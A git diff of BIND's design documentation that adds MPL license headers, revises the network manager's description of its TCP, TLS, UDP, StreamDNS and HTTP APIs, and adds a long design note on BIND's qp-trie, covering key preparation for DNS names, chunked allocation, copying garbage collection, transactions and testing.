-When available, include standard library return codes via %s in the
-format string, with strerrr(errno) from the system library or functions
-like isc_result_totext(result) and dns_result_totext(result).
-
-THINGS I AM NOT KEEN ABOUT
-
-I am not happy that using a null channel for a category/module pair
-has no effect on other associations with that pair.  It seems to me
-that it would be nice to say "send all DATABASE category messages to
-syslog, except for those from the RBT base code."  I am not sure of
-how I want it specified though.  One way to do it is to simply say
-that null overrides any previously defined matches for the
-category/module, so that internally when walking down the channel
-list, the first category/module match to a null channel stops
-processing.
diff --git a/doc/design/ncache b/doc/design/ncache
index d3d116e0dc..89956055d5 100644
--- a/doc/design/ncache
+++ b/doc/design/ncache
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 Negative Caching
 
diff --git a/doc/design/netmgr.md b/doc/design/netmgr.md
index bf1257f14a..171afbc090 100644
--- a/doc/design/netmgr.md
+++ b/doc/design/netmgr.md
@@ -1,3 +1,16 @@
+<!--
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
+
 # Netmgr
 
 Netmgr (aka rainbow duck) is the new networking system for BIND. It's based
@@ -31,7 +44,7 @@ the socket event, but this is still sub-optimal.
 The `isc_nm_t` structure represents the network manager itself.  It
 contains a configurable number (generally the same as the number of CPUs)
 of 'networker' objects, each of which represents a thread for executing
-networking events. 
+networking events.
 
 The manager contains flags to indicate whether it has been paused or
 interlocked, and counters for the number of workers running and the
@@ -43,7 +56,7 @@ and a pool of buffers into which messages will be copied when received.
 ### `isc_nmsocket_t`
 
 `isc_nmsocket_t` is a wrapper around a libuv socket. It is configured
-with 
+with
 
 ### `isc_nmhandle_t`
 
@@ -66,31 +79,103 @@ inactive-handles stack is full or when the socket is destroyed) then the
 associated object's 'put' callback will be called to free any resources
 it allocated.
 
-## UDP listening
+## Streaming Protocols
+
+Currently, we have two streaming protocols available in Network Manager - TCP
+and TLS.  The underlying premise is that they both expose the same interface to
+the clients.
+
+### Servers (Listening)
+
+The users of the API calls ``isc_nm_listentcp()`` or ``isc_nm_listentls()`` with
+the accept callback as argument.
+
+When connection is accepted, the accept callback is called with a handle and
+status and it can return a non-``ISC_R_RESULT`` to abort the connection.
+
+The accept callback should generally immediately call ``isc_nm_read()`` to setup
+the read callback.  Not doing so, can lead to a data race - if the NM is shut
+down before the ``isc_nm_read()`` call, the socket can become dangling until
+``isc_nm_read()`` is finally called.
+
+When ``isc_nm_read()`` is called, the read callback will receive:
+
+- 0-<n> calls with ``ISC_R_SUCCESS`` state
+- exactly 1 call with non-``ISC_R_SUCCESS`` state when the connection is
+  interrupted (locally closed, remotely closed, NM shutting down, etc.)
+
+The ``isc_nm_read_stop()`` can be used to pause reading from the socket and only
+the final non-``ISC_R_SUCCESS`` callback will be received in such case.
+
+### Clients (Connecting)
+
+The users of the API calls ``isc_nm_tcpconnect()`` or ``isc_nm_tlsconnect()``
+with the connect callback as argument.
+
+When connection is established, the connect callback is called with a handle and
+status.
+
+The connect callback should generally immediately call ``isc_nm_read()`` - see
+the same caveat in the accepting part.
+
+When ``isc__nm_read()`` is called on the connected socket, the read callback
+will receive:
+
+- 0-<n> calls with ``ISC_R_SUCCESS`` state
+- exactly 1 call with non-``ISC_R_SUCCESS`` state when the connection is
+  interrupted (locally closed, remotely closed, NM shutting down, etc.)
+
+The ``isc_nm_read_stop()`` can be used to pause reading from the socket and only
+the final non-``ISC_R_SUCCESS`` callback will be received in such case.
+
+## DNS Message Protocols
+
+Currently, we have three (four) DNS Message Protocols implemented in the Network Manager:
+
+- UDP
+- StreamDNS (TCPDNS and TLSDNS)
+- HTTP
+
+### Servers (Listening)
+
+The users of the API calls ``isc_nm_listenudp()`` or
+``isc_nm_listenstreamdns()`` with:
+
+- accept callback
+- read callback
+
+The StreamDNS accepts an optional TLS context for DoT (otherwise DNS over TCP
+will be used).
+
+The HTTP listening is more complicated - the users need to setup the endpoints
+with the read callback and pass the 1-<n> endpoints to the
+``isc_nm_listenhttp()`` call.
+
+The accept callback is used only to implement "firewall"-like functionality, it
+could be used to tear down the connection early in the process.
+
+After the connection has been accepted, the read callback will receive:
 
-UDP listener sockets automatically create an array of 'child' sockets,
-each associated with one networker, and all listening on the same address
-via `SO_REUSEADDR`.  (The parent's reference counter is used for all the
-parent and child sockets together; none are destroyed until there are no
-remaining references to any of tem.)
+- 0-<n> calls with ``ISC_R_SUCCESS`` state
+- exactly 1 call with non-``ISC_R_SUCCESS`` state when the connection is
+  interrupted (locally closed, remotely closed, NM shutting down, etc.)
 
-## TCP listening
+Each read callback will contain a full assembled DNS message.
 
-A TCP listener socket cannot listen on multiple threads in parallel,
-so receiving a TCP connection can cause a context switch, but this is
-expected to be rare enough not to impact performance significantly.
+### Clients (Connecting)
 
-When connected, a TCP socket will attach to the system-wide TCP clients
-quota.
+The users of the API calls ``isc_nm_udpconnect()``,
+``isc_nm_streamdnsconnect()``, or ``isc_nm_httpconnect()`` with a connect
+callback.
 
-## TCP listening for DNS
+When connection is established, the connect callback is called with a handle and
+status.
 
-A TCPDNS listener is a wrapper around a TCP socket which specifically
-handles DNS traffic, including the two-byte length field that prepends DNS
-messages over TCP.
+The connect callback should generally immediately call ``isc_nm_read()`` - see
+the caveat in the previous parts.
 
-Other wrapper socket types can be added in the future, such as a TLS socket
-wrapper to implement encryption or an HTTP wrapper to implement the HTTP
-protocol. This will enable the system to have a transport-neutral network
-manager socket over which DNS can be sent without knowing anything about
-transport, encryption, etc.
+After the connection has been connected, the read callback will receive exactly
+1 call for each ``isc_nm_read()`` call - either with ``ISC_R_SUCCESS`` if the
+DNS message was successfully read or non-``ISC_R_SUCCESS`` indicating the error
+condition.  The read callback either needs to issue new ``isc_nm_read()`` call
+or detach from the handle if no further messages are required.
diff --git a/doc/design/qp-trie.md b/doc/design/qp-trie.md
new file mode 100644
index 0000000000..fb0d9e28eb
--- /dev/null
+++ b/doc/design/qp-trie.md
@@ -0,0 +1,797 @@
+<!--
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
+
+A qp-trie for the DNS
+=====================
+
+A qp-trie is a data structure that supports lookups in a sorted
+collection of keys. It is efficient both in terms of fast lookups and
+using little memory. It is particularly well-suited for use in DNS
+servers.
+
+These notes outline how BIND's `dns_qp` implementation works, how it
+is optimized for lookups keyed by DNS names, and how it supports
+multi-version concurrency.
+
+
+data structure zoo
+------------------
+
+Chasing a pointer indirection is very slow, up to 100ns, whereas a
+sequential memory access takes less than 10ns. So, to make a data
+structure fast, we need to minimize indirections.
+
+There is a tradeoff between speed and flexibility in standard data
+structures:
+
+  * Arrays are very simple and fast (a lookup goes straight to the
+    right address), but the key can only be a small integer.
+
+  * Hash tables allow you to use arbitrary lookup keys (such as
+    strings), but may require probing multiple addresses to find the
+    right element.
+
+  * Radix trees allow you to do lookups based on the sorting order of
+    the keys, provided it is lexical like `memcmp()`; however, lookups
+    require multiple indirections.
+
+  * Comparison search trees (binary trees and B-trees) allow you to
+    use an arbitrary ordering predicate, but each indirection during
+    a lookup also requires a comparison.
+
+In the DNS, we need to use some kind of tree to support the kinds of
+lookup required for DNSSEC: find longest match, find nearest
+predecessor or successor, and so forth. So what kind of tree is best?
+
+
+in theory
+---------
+
+In a tree where the average length of a key is `k`, and the number of
+elements in the tree is `n`, the theoretical performance bounds are,
+for a comparison tree:
+
+  * `Ί(k * log n)`
+  * `Ο(k * n)`
+
+And for a radix tree:
+
+  * `Ί(k + log n)`
+  * `Ο(k + k)`
+
+Here, `Ω()` is the lower bound and `Ο()` is the upper bound; we
+expect typical performance to be close to the lower bound.
+
+The multiplications in the comparison tree expressions means that each
+indirection requires a comparison `Ο(k)`, whereas they are additions
+in the radix tree expressions because a radix tree traversal only
+needs one key comparison.
+
+The upper bounds say that (in the absence of balancing) a comparison
+tree can devolve into a linked list of nodes, whereas the shape of a
+radix tree is determined by the set of keys independent of the order
+of insertion or the number of keys.
+
+The logarithms hide some interesting constant factors. In a binary
+tree, the log is base 2. In a radix tree, the radix is the base of the
+logarithm. So, if we increase the radix, the constant factor gets
+smaller. The rough equivalent for a binary tree would be to use a
+B-tree instead, but although B-trees have fewer indirections they do
+not reduce the number of comparisons.
+
+In implementation terms, a larger radix means tree nodes get wider
+and the tree becomes shallower. A shallower tree requires fewer
+indirections, so it should be faster. The trick is to increase the
+radix without blowing up the tree's memory usage, which can lose
+more performance than we win.
+
+This analysis suggests that a radix tree is better than a comparison
+tree, provided keys can be compared lexically - which is true for DNS
+names, with some rearrangement (described below). When using big-o
+notation, we also need to be wary of the constant factors; but in this
+case they also favour a radix tree, especially with the optimization
+tricks used by BIND's qp-trie.
+
+Note: "radix" comes from the latin for "root", so "radix tree" is a
+pun, which is geekily amusing especially when talking about logs.
+
+
+what is a trie?
+---------------
+
+A trie is another name for a radix tree (or "digital tree" according
+to Knuth). It is short for information reTRIEval, and I pronounce it
+exactly like "tree" (though Knuth pronounces it like "try").
+
+In a trie, keys are divided into digits depending on some radix e.g.
+base 2 for binary tries, base 256 for byte-indexed tries. When
+searching the trie, successive digits in the key, from most to least
+significant, are used to select branches from successive nodes in
+the trie, roughly like:
+
+        for (offset = 0; isbranch(node); offset++)
+            node = node->child[key[offset]];
+
+All of the keys in a subtrie have identical prefixes. Tries do not
+need to store keys since they are implicit in the structure.
+
+
+binary crit-bit trees
+---------------------
+
+A patricia trie is a binary trie which omits nodes that have only one
+child. Dan Bernstein calls his tightly space-optimized version a
+"crit-bit tree".
+https://cr.yp.to/critbit.html
+https://github.com/agl/critbit/
+
+Unlike a basic trie, a crit-bit tree skips parts of the key when
+every element in a subtree shares the same sequence of bits.
+Each node is annotated with the offset of the bit that is used to
+select the branch; offsets always increase as you go deeper into
+the tree.
+
+    while (isbranch(node))
+        node = node->child[key[node->offset]];
+
+In a crit-bit tree the keys are not implicit in the structure
+because parts of them are skipped. Therefore, each leaf refers to a
+copy of its key so that when you find a leaf you can verify that the
+skipped bits match.
+
+
+prefetching
+-----------
+
+Observe that in the loop above, the current node has only one child
+pointer, and the child nodes are adjacent in memory. This means it
+is possible to tell the CPU to prefetch the child nodes before
+extracting the critical bit from the key and choosing which child is
+next. A qp-trie has a similar layout, but it has more child nodes
+(still adjacent in memory) and it does more computation to choose
+which one is next.
+
+When I originally invented the qp-trie code, I found that explicit
+prefetch hints made the qp-trie substantially faster and the crit-bit
+tree slightly faster. The hints help the CPU to do useful work at the
+same time as the memory subsystem. (This is unusual for linked data
+structures, which tend to alternate between CPU waiting for memory,
+and memory waiting for CPU.)
+
+Large modern CPUs (after about 2015) are better at prefetching
+automatically, so the explicit hint is less important than it used to
+be, but `lib/dns/qp.c` still has `__builtin_prefetch()` hints in its
+inner traversal loops.
+
+
+packed sparse vectors with popcount
+-----------------------------------
+
+The `popcount` instruction counts the number of bits that are set
+in a word. It's also known as the Hamming weight; Knuth calls it
+"sideways add". https://en.wikipedia.org/wiki/popcount
+
+You can use `popcount` to implement a sparse vector of length `N`
+containing `M <= N` members using bitmap of length `N` and a packed
+vector of `M` elements. A member `b` is present in the vector if bit
+`b` is set, so `M == popcount(bitmap)`. The index of member `b` in
+the packed vector is the popcount of the bits preceding `b`.
+
+    // size of vector
+    size = popcount(bitmap);
+    // bit position
+    bit =  1 << b;
+    // is element present?
+    if (bitmap & bit) {
+        // mask covers the preceding elements
+        mask = bit - 1;
+        // position of element in packed vector
+        pos = popcount(bitmap & mask);
+        // fetch element
+        elem = vector[pos];
+    }
+
+See "Hacker's Delight" by Hank Warren, section 5-1 "Counting 1
+bits", subsection "applications". http://www.hackersdelight.org
+
+See under _"bitmap popcount shenanigans"_ in `lib/dns/qp.c` for how
+this is implemented in BIND.
+
+
+popcount for trie nodes
+-----------------------
+
+Phil Bagwell's hashed array-mapped tries (HAMT) use popcount for
+compact trie nodes. In a HAMT, string keys are hashed, and the hash is
+used as the index to the trie, with radix 2^32 or 2^64.
+http://infoscience.epfl.ch/record/64394/files/triesearches.pdf
+http://infoscience.epfl.ch/record/64398/files/idealhashtrees.pdf
+
+As discussed above, increasing the radix makes the tree shallower, so
+it should be faster. The downside is usually much greater memory
+overhead. Child vectors are often sparsely populated, so we can
+greatly reduce the overhead by packing them with popcount.
+
+The HAMT relies on hashing, which keeps keys dense. This means it
+can be laid out like a basic trie with implicit keys (i.e. hash
+values). The disadvantage of hashing is that strings are stored
+out of order.
+
+
+qp-trie
+-------
+
+A qp-trie is a mash-up of Bernstein's crit-bit tree with Bagwell's
+HAMT. Like a crit-bit tree, a qp-trie omits nodes with one child;
+nodes include a key offset; and keys a referenced from leaves instead
+of being implicit in the trie structure. Like a HAMT, nodes have a
+popcount packed vector of children, but unlike a HAMT, keys are not
+hashed.
+
+A qp-trie is faster than a crit-bit tree and uses less memory, because
+its wider fan-out requires fewer nodes and popcount packs them very
+efficiently. Like a crit-bit tree but unlike a HAMT, a qp-trie stores
+keys in lexical order.
+
+As in a HAMT, the original layout of a qp-trie node is a pair of
+words, which are used as key and value pointers in leaf nodes, and
+index word and pointer in branch nodes. The index word contains the
+popcount bitmap (as in a HAMT) and the offset into the key (as in a
+crit-bit tree), as well as a leaf/branch tag bit. The pointer refers
+to the branch node's "twigs", which is what we call the packed sparse
+vector of child nodes.
+
+The fan-out of a qp-trie is limited by the need to fit the bitmap and
+the nybble offset into a 64-bit word; a radix of 16 or 32 works well,
+and 32 is slightly faster (though 5-bit nybbles are fiddly). But radix
+64 requires an extra word per node, and the extra memory overhead
+makes it slower as well as bulkier.
+
+Early qp-trie implementations used a node layout like the
+following. However, in practice C bitfields have too many
+portability gotchas to work well. It is better to use hand-written
+shifting and masking to access the parts of the index word.
+
+        #define NYBBLE 4 // or 5
+        #define RADIX (1 << NYBBLE)
+
+        union qp_node {
+            struct {
+                unsigned tag : 1;
+                unsigned bitmap : RADIX;
+                unsigned offset : (64 - 1 - RADIX);
+                union qp_node *twigs;
+            } branch;
+            struct {
+                void *value;
+                const char *key;
+            } leaf;
+        };
+
+
+DNS qp-trie
+-----------
+
+BIND uses a variant of a qp-trie optimized for DNS names. DNS names
+almost always use the usual hostname alphabet of (case-insensitive)
+letters, digits, hyphen, plus underscore (which is often used in the DNS
+for non-hostname purposes), and finally the label separator (which is
+written as '.' in presentation-format domain names, and is the label
+length in wire format). This adds up to 39 common characters.
+
+A bitmap for 39 common characters is small enough to fit into a
+qp-trie index word, so we can (in principle) walk down the trie one
+character at a time, as if the radix were 256, but without needing a
+multi-word bitmap.
+
+However, DNS names can contain arbitrary bytes. To support the 200-ish
+unusual characters we use an escaping scheme, described in more detail
+below. This requires a few more bits in the bitmap to represent the
+escape characters, so our radix ends up being 47. This still fits into
+the 64-bit index word, so we get the compactness of a qp-trie but with
+faster byte-at-a-time lookups for DNS names that use common hostname
+characters.
+
+You can also use other kinds of keys with BIND's DNS qp-trie, provided
+they are not too long. You must provide your own key preparation
+function, e.g. for uniform binary keys you might extract 5-bit nybbles
+to get a radix-32 trie.
+
+
+preparing a lookup key
+----------------------
+
+A DNS name needs to be rearranged to use it as a qp-trie key, so that
+the lexical order of rearranged keys matches the canonical DNS name
+order specified in RFC 4034 section 6.1:
+
+  * reverse the order of the labels so that they run from most
+    significant to least significant, left to right (but the
+    characters in each label remain in the same order)
+
+  * convert uppercase ASCII letters to lowercase ASCII
+
+  * change the label separators to a non-byte value that sorts before
+    the zero byte
+
+For qp-trie lookups there are a couple of extra steps:
+
+  * There is an escaping mechanism to support DNS names that use
+    unusual characters. Common characters use one byte in the lookup
+    key, but unusual characters are expanded to two bytes. To preserve
+    the correct lexical order, there are different escape bytes
+    depending on how the unusual character sorts relative to the
+    common hostname characters.
+
+  * Characters in the DNS name need to be converted to bitmap
+    positions. This is done at the same time as preparing the lookup
+    key, to move work out of the inner trie traversal loop.
+
+These 5 transformations can be done in a single pass over a DNS name
+using a single lookup table. The transformed name is usually the
+same length (up to 2x longer if it contains unusual characters).
+
+You can use absolute or relative DNS names as keys, without ambiguity
+(provided you have some way of knowing what names are relative to).
+When converted to a lookup key, absolute names start with a non-byte
+value representing the root, and relative names do not.
+
+Lookup keys are ephemeral, allocated on the stack during a lookup.
+
+See under _"converting DNS names to trie keys"_ in `lib/dns/qp.c`
+for how this is implemented in BIND.
+
+
+node layout
+-----------
+
+Earlier I said that the original qp-trie node layout consists of two
+words: one 64 bit word for the branch index, and one pointer-sized
+word. BIND's qp-trie uses a layout that is smaller on 64-bit systems:
+one 64 bit word and one 32-bit word.
+
+A branch node contains
+
+  * two type tag bits
+
+  * a 47-wide bitmap, with a bit for each common hostname character
+    and each escape character
+
+  * a 9-bit key offset, enough to count twice the length of a DNS
+    name
+
+  * a 32-bit "twigs" reference to the packed vector of child nodes;
+    these references are described in more detail below
+
+A leaf node contains a pointer value (which we assume to be 64 bits)
+and a 32-bit integer value. The type tag is smuggled into the
+low-order bits of the pointer value, so the pointer value must have
+large enough alignment. (This requirement is checked when a leaf is
+added to the trie.) Apart from that, the meaning of leaf values
+is entirely under control of the qp-trie user.
+
+When constructing a qp-trie the user provides a collection of method
+pointers. The qp-trie code calls these methods when it needs to do
+anything that needs to look into a leaf value, such as extracting the
+key.
+
+See under _"interior node basics"_ and _"interior node constructors
+and accessors"_ in `lib/dns/qp_p.h` for the implementation.
+
+
+example
+-------
+
+Consider a small zone:
+
+        example.        ; apex
+        mail.example.   ; IMAP server
+        mx.example.     ; incoming mail
+        www.example.    ; web load balancer
+        www1.example.   ; back-end web servers
+        www2.example.
+
+It becomes a qp-trie as follows. I am writing bitmaps as lists of
+characters representing the bits that are set, with `'.'` for label
+separators. I have used arbitrary names for the addresses of the twigs
+vectors.
+
+    root = (qp_node){
+        tag: BRANCH,
+        offset: 9,
+        bitmap: [ '.', 'm', 'w' ],
+        twigs: &one,
+    };
+
+Note that the offset skips the root zone, the zone name, and the apex
+label separator. If the offset is beyond the end of the key, the byte
+value is the label separator.
+
+    one = (qp_node[3]){
+        {
+            tag: LEAF,
+            key: "example.",
+        },
+        {
+            tag: BRANCH,
+            offset: 10,
+            bitmap: [ 'a', 'x' ],
+            twigs: &two,
+        },
+        {
+            tag: BRANCH,
+            offset: 12,
+            bitmap: [ '.', '1', '2' ],
+            twigs: &three,
+        },
+    };
+
+This twigs vector has an element for the zone apex, and the two
+different initial characters of the subdomains.
+
+The mail servers differ in the next character, so the offset bumps from
+9 to 10 without skipping any characters. The web servers all start with
+www, so the offset bumps from 9 to 12, skipping the common prefix.
+
+    two = (qp_node[2]){
+        {
+            tag: LEAF,
+            key: "mail.example.",
+        },
+        {
+            tag: LEAF,
+            key: "mx.example.",
+        },
+    };
+
+The different lengths of `mail` and `mx` don't matter: we implicitly
+skip to the end of the key when we reach a leaf node.
+
+    three = (qp_node[3]){
+        {
+            tag: LEAF,
+            key: "www.example.",
+        },
+        {
+            tag: LEAF,
+            key: "www1.example.",
+        },
+        {
+            tag: LEAF,
+            key: "www2.example.",
+        },
+    };
+
+When the trie includes labels of differing lengths, we can have a node
+that chooses between a label separator and characters from the longer
+labels. This is slightly different from the root node, which tested the
+first character of the label; here we are testing the last character.
+
+
+concurrency and transactions
+----------------------------
+
+The following sections discuss how the qp-trie supports concurrency.
+
+The requirement is to support many concurrent read threads, and
+allow updates to occur without blocking readers (or blocking readers
+as little as possible).
+
+Concurrent access to a qp-trie uses a transactional API. There can be
+at most one writer at a time. When a writer commits its transaction
+(by atomically replacing the trie's root pointer) the changes become
+visible to readers. Read transactions ensure that memory is not
+reclaimed while readers are still using it.
+
+If there are relatively long read transactions and brief write
+transactions (though that is unlikely) there can be multiple versions
+of a qp-trie in use at a time.
+
+
+copy-on-write
+-------------
+
+The strategy is to use "copy-on-write", that is, when an update
+needs to alter the trie it makes a copy of the parts that it needs
+to change, so that concurrent readers can continue to use the
+original. (It is analogous to multiversion concurrency in databases
+such as PostgreSQL, where copy-on-write uses a write-ahead log.)
+
+The qp-trie only uses copy-on-write when the nodes that need to be
+altered can be shared with concurrent readers. After copying, the
+nodes are exclusive to the writer and can be updated in place. This
+reduces the pressure on the allocator a lot: pure copy-on-write
+allocates and discards memory at a ferocious rate.
+
+Software that uses copy-on-write needs some mechanism for clearing
+away old versions that are no longer in use. (For example, VACUUM in
+PostgreSQL.) The qp-trie code uses a custom allocator with a simple
+garbage collector; as well as supporting concurrency, the qp-trie's
+memory manager makes tries smaller and faster.
+
+
+allocation
+----------
+
+A qp-trie is relatively demanding on its allocator. Twigs vectors
+can be lots of different sizes, and every mutation of the trie
+requires an alloc and/or a free.
+
+Older versions of the qp-trie code used the system allocator. Many
+allocators (such as `jemalloc`) segregate the heap into different
+size classes, so that each chunk of memory is dedicated to
+allocations of the same size. While this memory layout provides good
+locality when objects of the same type have the same size, it tends
+to scatter the interior nodes of a qp-trie all over the address space.
+
+BIND's qp-trie code uses a "bump allocator" for its interior nodes,
+which is one of the simplest and fastest possible: an allocation
+usually only requires incrementing a pointer and checking if it has
+reached a limit. (If the check fails the allocator goes into its
+slow path.) Allocations have good locality because they write
+sequentially into memory. (A bit like a write-ahead log.)
+
+Bump allocators need reasonably large contiguous chunks of empty
+memory to make the most of their efficiency, so they are often
+coupled with some kind of compacting garbage collector, which
+defragments the heap to recover free space.
+
+See `alloc_twigs()` in `lib/dns/qp.c` for the bump allocator fast
+path.
+
+
+garbage collection
+------------------
+
+[The Garbage Collection Handbook](https://gchandbook.org/) says
+there are four basic kinds of automatic memory management.
+
+Reference counting is used by scripting languages such as Perl and
+Python, and also for manual memory management such as in operating
+system kernels and BIND.
+
+To avoid writing a custom allocator, I previously tried adapting the
+qp-trie code to use refcounting to support copy-on-write, but I was
+not very happy with the complexity of the implementation, and I
+thought it was ugly that I needed to modify refcounts in nodes that
+were logically read-only.
+
+(Two other kinds of GC are mark-sweep and mark-compact. Both of them
+have a similar disadvantage to refcounting: a simple GC mark phase
+modifies nodes that are logically read-only. And mark-sweep leaves
+memory fragmented so it does not support a bump allocator.)
+
+The fourth kind is copying garbage collection. It works well with a
+bump allocator, because copying the data structure using a bump
+allocator in the most obvious way naturally compacts the data. And
+the copying phase of the GC can run concurrently with readers
+without interference.
+
+BIND's qp-trie code uses a copying garbage collector only for its
+interior nodes. The value objects that are attached to the leaves of
+the trie are allocated by `isc_mem` and use reference counting like
+the rest of BIND.
+
+See `compact()` in `lib/dns/qp.c` for the copying phase of the
+garbage collector. Reference counting for value objects is handled
+by the `attach()` and `detach()` qp-trie methods.
+
+
+chunked memory layout
+---------------------
+
+BIND's qp-trie code organizes its memory as a collection of "chunks"
+allocated by `malloc()`, each of which is a few pages in size and
+large enough to hold a thousand nodes or so.
+
+As noted above, we also use the chunk-based layout to reduce the size
+of interior nodes. Instead of using a native pointer (typically 64
+bits) to refer to a node, we use a 32 bit integer containing the chunk
+number and the position of the node in the chunk. This reduces the
+memory used for interior nodes by 25%. See the "helper types" section
+in `lib/dns/qp_p.h` for the relevant definitions.
+
+BIND stores each zone separately, and there can be a very large number
+of zones in a server. To avoid wasting memory on small zones that only
+have a few names, chunks can be "shrunk" using `realloc()` to fit just
+the nodes that have been allocated.
+
+
+chunk metadata
+--------------
+
+The chunked memory layout is supported by a `base` array of pointers
+to the start of each chunk. A chunk number is just an index into this
+array.
+
+Alongside the `base` array is a `usage` array, indexed the same way.
+Instead of keeping track of individual nodes, the allocator just keeps
+a count of how many nodes have been allocated from a chunk, and how
+many were subsequently freed. The `used` count of the newest chunk
+also serves as the allocation point for the bump allocator, and the
+size of the chunk when it has been shrunk. This is why we increment
+the `free` count when a node is discarded, instead of decrementing the
+`used` count. The `usage` array also contains some fields used for
+chunk reclamation, about which more below.
+
+The `base` and `usage` arrays are separate because the `usage` array
+is only used by writers, and never shared with readers. The read-only
+hot path only needs the `base` array, so keeping it separate is more
+cache-friendly: less memory pressure on the read path and less
+interference from false sharing with write ops.
+
+Both arrays can have empty slots in which new chunks can be allocated;
+when a chunk is reclaimed its slot becomes empty. Additions and
+removals from the `base` array don't affect readers: they will not see
+a reference to a new chunk until after the writer commits, and the
+chunk reclamation machinery ensures that no readers depend on a chunk
+before it is deleted.
+
+When the arrays fill up they are reallocated. This is easy for the
+`usage` array because it is only accessed by writers, but the `base`
+array must be cloned, and the old version must be reclaimed later
+after it is no longer used by readers. For this reason the `base`
+array has a reference count.
+
+
+lightweight write transactions
+------------------------------
+
+"Write" transactions are intended for use when there is a heavy write
+load, such as a resolver cache. They minimize the amount of allocation
+by re-using the same chunk for the bump allocator across multiple
+transactions until it fills up.
+
+When a write (or update) is committed, a new packed read-only trie
+anchor is created. This contains a pointer to the `base` array and a
+32-bit reference to the trie's root node. The packed reader is stored
+in a pair of nodes in the current chunk, allocated by the bump
+allocator, so it does not need to be `malloc()`ed separately, and so
+the chunk reclamation machinery can also reclaim the `base` array when
+it is no longer in use.
+
+
+heavyweight update transactions
+-------------------------------
+
+By contrast, "update" transactions are intended to keep memory usage
+as low as possible between writes. On commit, the trie is compacted,
+and the bump allocator's chunk is shrunk to fit. When a transaction is
+opened, a fresh chunk must be allocated.
+
+Update transactions also support rollback, which requires making a
+copy of all the chunk metadata.
+
+
+lightweight query transactions
+------------------------------
+
+A "query" transaction dereferences a pointer to the current trie
+anchor and unpacks it into a `dns_qpread_t` object on the stack. There
+is no explicit interlocking with writers. Instead, query transactions
+must only be used inside an `isc_loop` callback function; the qp-trie
+memory reclamation machinery knows that the reader has completed when
+the callback returns to the loop. See `include/isc/qsbr.h` for more
+about how this works.
+
+
+heavyweight read-only snapshots
+-------------------------------
+
+A "snapshot" is for things like zone transfers that need a long-lived
+consistent view of a zone. When a snapshot is created, it includes a
+copy of the necessary parts of the `base` array. A qp-trie keeps a
+list of its snapshots, and there are flags in the `usage` array to
+mark which chunks are in use by snapshots and therefore cannot be
+reclaimed.
+
+
+
+lifecycle of value objects
+--------------------------
+
+A leaf node contains a pointer to a value object that is not managed
+by the qp-trie garbage collector. Instead, the user provides
+`attach` and `detach` methods that the qp-trie code calls to update
+the reference counts in the value objects.
+
+Value object reference counts do not indicate whether the object is
+mutable: its refcount can be 1 while it is only in use by readers
+(and must be left unchanged), or newly created by a writer (and
+therefore mutable).
+
+So, callers must keep track themselves whether leaf objects are newly
+inserted (and therefore mutable) or not. XXXFANF this might change, by
+adding special lookup functions that return whether leaf objects are
+mutable - see the "todo" in `include/dns/qp.h`.
+
+
+chunk cleanup
+-------------
+
+After a "write" or "update" transaction has committed, there can be a
+number of chunks that are no longer needed by the latest version of
+the trie, but still in use by readers accessing an older version.
+The qp-trie uses a QSBR callback to clean up chunks when they are no
+longer used at all.
+
+When reclaiming a chunk, we have to scan it for any remaining leaf
+nodes. When nodes are accessibly only to the writer, they are zeroed
+out when they are freed. If they are shared with readers, they must be
+left in place (though the `free` count in the usage array is still
+adjucted), and finally `detach()`ed when the chunk is reclaimed.
+
+This chunk scan also cleans up old `base` arrays referred to by packed
+reader nodes.
+
+
+testing strategies
+------------------
+
+The main qp-trie test is in `tests/dns/qpmulti_test.c`. This uses
+randomized testing of the transactional API, with a lot of consistency
+checking to detect bugs.
+
+There are also a couple of fuzzers, which aim to benefit from
+coverage-guided exploration of the test space and test minimization.
+In `fuzz/dns_qp.c` we treat the fuzzer input as a bytecode to exercise
+the single-threaded API, and `fuzz/dns_qpkey_name.c` checks conversion
+from DNS names to lookup keys.
+
+In `tests/bench` there are a few benchmarks. `load-names` does a very
+basic comparison between BIND's hash table, red-black tree, and
+qp-trie. `qpmulti` checks multicore performance of the transactional
+API (similar to `qpmulti_test` but without the consistency checking).
+And `qp-dump` is a utility for printing out the contents of a qp-trie.
+
+John Regehr has some nice essays about testing data structures:
+
+  * Levels of fuzzing: https://blog.regehr.org/archives/1039
+
+    (how much semantic knowledge does your fuzzer have?)
+
+  * Testing with small capacities: https://blog.regehr.org/archives/1138
+
+    (I need to be able to change the chunk size)
+
+  * Write fuzzable code: https://blog.regehr.org/archives/1687
+
+  * Oracles for random testing: https://blog.regehr.org/archives/856
+
+
+warning: generational collection
+--------------------------------
+
+The "generational hypothesis" is that most allocations have a short
+lifetime, so it is profitable for a garbage collector to split its
+heap into a number of generations. The youngest generation is where
+allocations happen; it typically uses a bump allocator, and when the
+allocation pointer reaches its limit, the youngest generation's
+contents are copied to the second generation. The hypothesis is that
+only a small fraction of the youngest generation will still be live
+when the GC runs, so this copy will not take much time or space.
+
+For a qp-trie the truth of this hypothesis depends on the order in
+which keys are added or removed. It may be true if there is good
+locality, for example, adding keys in lexicographic order, but not in
+general.
+
+When a qp-trie is mutated, only one node needs to be altered, near the
+leaf that is added or removed. Nodes near the root of the trie tend to
+be more stable and long-lived. However, during a copy-on-write
+transaction, the path from the root to an altered leaf must be copied,
+so nodes near the root are no longer stable and long-lived. They may
+become stable in a long transaction, but that isn't guaranteed.
+
+So the idea of generational garbage collection seems to be unhelpful
+for a qp-trie.
